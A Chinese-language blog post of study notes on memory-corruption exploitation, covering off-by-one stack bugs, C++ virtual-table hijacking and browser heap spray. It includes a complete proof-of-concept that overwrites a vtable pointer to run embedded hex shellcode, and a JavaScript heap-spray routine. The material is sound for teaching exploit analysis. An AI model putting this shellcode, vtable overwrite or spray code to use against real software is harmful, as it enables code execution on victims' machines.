OD: Memory Attach Technology - Off by One, Virtual Function in C++ & Heap Spray
Off by One
根据 Halvar Flake 在“Third Generation Exploitation”中的描述,漏洞利用技术依攻击难度从小到大分为三类:
. 基础的栈溢出利用,可以利用返回地址轻松劫持进程,植入 shellcode,如对 strcpy、strcat 等函数的攻击。
. 高级栈溢出利用。栈中有限制因素,溢出数据只能淹没部分 EBP,但无法淹没返回地址,不能获得 EIP 控制权。经典例子是对 strnpy 函数误用时产生的 off by one 漏洞。
. 堆溢出、格式化串漏洞利用。
考虑如下代码:
void off_by_one_bug(char * input)
{
char buf[];
int i=,len=;
len=sizeof(buf);
for(i=; input[i] && (i<=len); i++)
{
buf[i]=input[i];
}
...
}
第 6 行处的 input[i] && (i<=len),其作用是防止复制字符串时越界,但正确的条件是 i<len,i<=len 会产生漏洞:
这位例子中,缓冲区后面紧接着是 EBP 和返回地址,溢出的一个字节正好破坏了 EBP 的低 8 位(Inter x86 下的小端机),也就是说,攻击者可以在 255 个字节的范围内移动 EBP,如果能够让 EBP 恰好植入可控制的缓冲区内,就有可能劫持进程。
另外,off by one 漏洞也可能破坏关键的邻接变量,从而改变程序流程,或者导致整数溢出等问题。
攻击 C++ 的虚函数
C++ 的多态特性主要靠对虚函数的动态调用来实现,虚函数和虚表的要点如下:
. C++ 类的成员函数声明时若使用 virtual 修饰,则为虚函数
. 一个类中可以有多个虚函数
. 虚函数的入口地址统一保存在虚表(VTable)中
. 对象使用虚函数时,先通过虚表指针找到虚表,然后从虚表中取出最终的函数入口地址调用
. 虚表指针保存在对象的内存空间中,紧接着虚表指针的是其他成员变量
. 虚函数只有通过对象指针的引用才能显示出其动态调用的特性
如果对象中的成员变量发生溢出,有机会修改对象中的虚表指针或者虚表中的虚函数指针,那么虚函数被调用时就会去执行 shellcode。
以下代码简要演示了C++虚表攻击:
/*****************************************************************************
To be the apostrophe which changed "Impossible" into "I'm possible"! POC code of chapter 8.3 in book "Vulnerability Exploit and Analysis Technique" file name : v_table.c
author : failwest
date : 2007.10.05
description : used as a demo to show how to exploit virtual function in C++
Noticed : complied with VC6.0; build into release version
the address of virtual table and virtual function may need to make sure
during runtime debug
version : 1.0
E-mail : failwest@gmail.com Only for educational purposes enjoy the fun from exploiting :)
******************************************************************************/
#include "windows.h"
#include "stdio.h"
#include "iostream.h" char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x6C\x9D\x42\x00";//set fake virtual function pointer, offset-in-shellcode:176=0xB0 class Failwest
{
public:
char buf[];
virtual void test(void)
{
cout<<"Class Vtable::test()"<<endl;
}
};
Failwest overflow, *p;
void main(void)
{
char * p_vtable;
p_vtable=overflow.buf-;//point to virtual table
//__asm int 3
//reset fake virtual table to 0x004088cc
//the address may need to ajusted via runtime debug
//printf("%08X\n",overflow.buf);
//exit(0);
p_vtable[]=0x1C;
p_vtable[]=0x9E;
p_vtable[]=0x42;
p_vtable[]=0x00;
strcpy(overflow.buf,shellcode);//set fake virtual function pointer
p=&overflow;
p->test();
}
上述代码的实验环境和编译环境和前方的一样,需要说明的是:
1. 虚表指针位于 char buf[200] 之前,程序中通过 overflow.buf-4 直接定位。
2. 程序中显式修改考虚表指针,使其指向缓冲区 buf 的偏移 0xB0=176 处:0x00429E1C。
3. 程序执行到 p->test() 时,将按照伪造的虚表指针去 0x00429E1C 寻找虚表,这个位置正好指向 buf 的起始点 0x00429D6C,所以程序将被引导去执行 buf 中的 shellcode。
实验中,相关的地址 0x00429D6C 和 0x00429E1C 可能需要根据环境重新定位。
攻击虚函数有一些不方便的限制:
. 虚表指针位于成员变量之前,而一般溢出(数组,字符串)只能覆盖成员变量之后的区域。
. 对象的内存空间位于堆中(以上的示例不是栈溢出,因为事件发生在堆中;但也不是堆溢出,因为没用到 Dword Shoot)。
. 示例中使用的连续性覆盖若能将数据溢出到下一个对象中去,攻击还是有机会的。
. 若使用 Dword Shoot,攻击会容易一些:修改虚表指针或虚函数指针都是不错的选择。
可见,在指令层次上,虚函数、面向对象这些 C++ 特性与 C 语言没有本质区别,以漏洞的眼光看这些内容,都是函数指针而已!
Heap Spray
Heap Spray 是针对浏览器的堆溢出与栈溢出的协同攻击,这里简单介绍下,后续会有专门的例子。
当浏览器使用的 ActiveX 控件中存在溢出漏洞时,攻击者可以生成特殊 HTML 文件来触发漏洞,获得 EIP。页面中,JavaScript 可以申请内存,故 shellcode 经常放在 JavaScript 来进行布置。然而堆内存的分布有很大的随机性,如何将 shellcode 在堆中定位?Heap Spray 正是为解决这个问题而产生的技术。
Blazde 和 SkyLined 最先于 2004 年为 IE 中的 IFRAME 漏洞写 exploit 时使用 Heap Spray 技术(MS04-040,CVE-2004-1050)。现在这种技术已经成为浏览器攻击的经典方法。
作用 Heap Spray 时,一般会将 EIP 指向堆区的 0x0C0C0C0C 位置,然后有 JavaScript 申请大量内存,并用包含 0x90 和 shellcode 的内存片覆盖这些内存。
通常 JavaScript 会从内存低地址向高地址分配内存,因此申请的内存超过 200MB(200*1024*1024=0x0C800000>0x0C0C0C0C)后,0x0C0C0C0C 将会被含有 shellcode 的内存片覆盖。只要内存片中的 0x90 能够命中 0x0C0C0C0C 位置,shellcode 就能得到执行。
var nop=unescape("%u9090%u9090");
while (nop.length<=0x100000/2)
{
nop+=nop;
}//生成一个 1MB 且充满 0x90 的数据块,作为 200 字节左右的 shellcode 的缓冲区
nop=nop.substring(0,0x100000/2-32/2-4/2-shellcode.length-2/2);//JavaScript会自动生成额外的信息,将这些信息所占的空间减去,保证数据正好 1MB
var slide=new Array();
for(var i=0; i<200; i++)//用 200 个内存片来覆盖堆内存,只要其中任意一片的 nop 能够覆盖 0x0C0C0C0C,攻击就能成功
{
slide[i]=nop+shellcode;
}
第 6 行减去的额外信息包括:32 bytes 的堆块信息 malloc header,4 bytes 的字符串长度值 string length,2 bytes 的字符串结束符 terminator(NULL x 2)。
以上代码被杀毒软件当作 JS 木马了。。。提交后自己都不能看了。。。
OD: Memory Attach Technology - Off by One, Virtual Function in C++ & Heap Spray的更多相关文章
- OD: Memory Attach Technology - Exception
看到第六章了:形形色色的内存攻击技术 异常处理结构体 S.E.H Structure Exception Handler S.E.H 是 Windows 处理异常的重要数据结构.每个 S.E.H 为 ...
- OD: Windows Security Techniques & GS Bypassing via C++ Virtual Function
Windows 安全机制 漏洞的万源之本在于冯诺依曼设计的计算机模型没有将代码和数据进行区分——病毒.加壳脱壳.shellcode.跨站脚本攻击.SQL注入等都是因为计算机把数据和代码混淆这一天然缺陷 ...
- pure virtual function call
2015-04-08 10:58:19 基类中定义了纯虚函数,派生类中将其实现. 如果在基类的构造函数或者析构函数中调用了改纯虚函数, 则会出现R6205 Error: pure virtual fu ...
- C# abstract function VS virtual function?
An abstract function has to be overridden while a virtual function may be overridden. Virtual functi ...
- Mindjet MindManager 2012 从模板创建出现“Runtime Error pure virtual function call” 解决方法
我的Mindjet MindManager 2012 Pro也就是MindManager10 在应用模板之后总会显示 Microsoft Visual C++ Runtime Library Runt ...
- (转) Virtual function
原文地址:http://en.wikipedia.org/wiki/Virtual_function In object-oriented programming, a virtual functio ...
- why pure virtual function has definition 为什么可以在基类中实现纯虚函数
看了会音频,无意搜到一个frameworks/base/include/utils/Flattenable.h : virtual ~Flattenable() = 0; 所以查了下“纯虚函数定义实现 ...
- [c++] polymorphism without virtual function
polymorphism without virtual function
- [C++] Pure Virtual Function and Abstract Class
Pure Virtual Function Abstract Class
随机推荐
- 武汉科技大学ACM :1006: 零起点学算法25——求两点之间的距离
Problem Description 输入平面坐标系中2点的坐标,输出它们之间的距离 Input 输入4个浮点数x1 y1 x2 y2,分别是点(x1,y1) (x2,y2)的坐标(多组数据) Ou ...
- golang 阻塞的坑
1.写go程序的时候一定要牢记主线程不能阻塞,一旦阻塞就崩溃,就怕那种某种情况下偶尔会出现几下阻塞的,一定要杜绝.2.select case的执行顺序是乱的,不确定的3.写入管道的时候,一定要保证管道 ...
- IE6-BUG-CSS兼容详解
1.IE6背景闪烁 如果你给链接.按钮用CSS sprites作为背景,你可能会发现在IE6下会有背景图闪烁的现象.造成这个的原因是由于IE6没有将背景图缓存,每次触发hover的时候都会重新加载,可 ...
- iphone微信长按二维码识别不了
在安卓版的微信长按二维码可以识别(前提是你的微信版本到支持此功能),但是到了苹果版的微信就识别不了,经个人测试发现是缩放的问题: 1.设置了初始缩放设置为1,最大缩放值要>=1,不支持缩放.-- ...
- jQuery制作go to top按钮
转自:http://www.w3cplus.com/jquery/scrolling-to-the-top-with-jquery 每每看到网友Blog的页面底部或中间有一个按钮回到页面顶部,羡慕死人 ...
- javascript控制图片等比例缩放
<SCRIPT language="JavaScript"> function DrawImage(ImgD,FitWidth,FitHeight){ var imag ...
- linux运维面试题汇总一
1.如何让history历史命令显示命令使用的具体时间? [root@node0 ~]# export HISTTIMEFORMAT='%F %T ' [root@node0 ~]# history ...
- Xcode-Xcode 7.3 解决不能自动联想问题-备
一.问题: 升级Xcode 7.3 之后发现导入头文件之后,没法自动联想. 二. 解决办法: 打开Xcode --> Target --> BuildSettings --> App ...
- 更改xcode上iphone模拟器颜色的方法--备用
到模拟器的目录下修改图片即可——在Finder中显示,显示模拟器包内容,修改Contents/Resources/frame.png图片!
- angularjs directive and component 指令与组件 ( 1.5.0 以后 )
之前写过一篇了 http://www.cnblogs.com/keatkeat/p/3903673.html 但某些部分写的不太清楚,甚至有点错误,所以今天特地在这里再来谈谈. 这篇主要是说指令的隔离 ...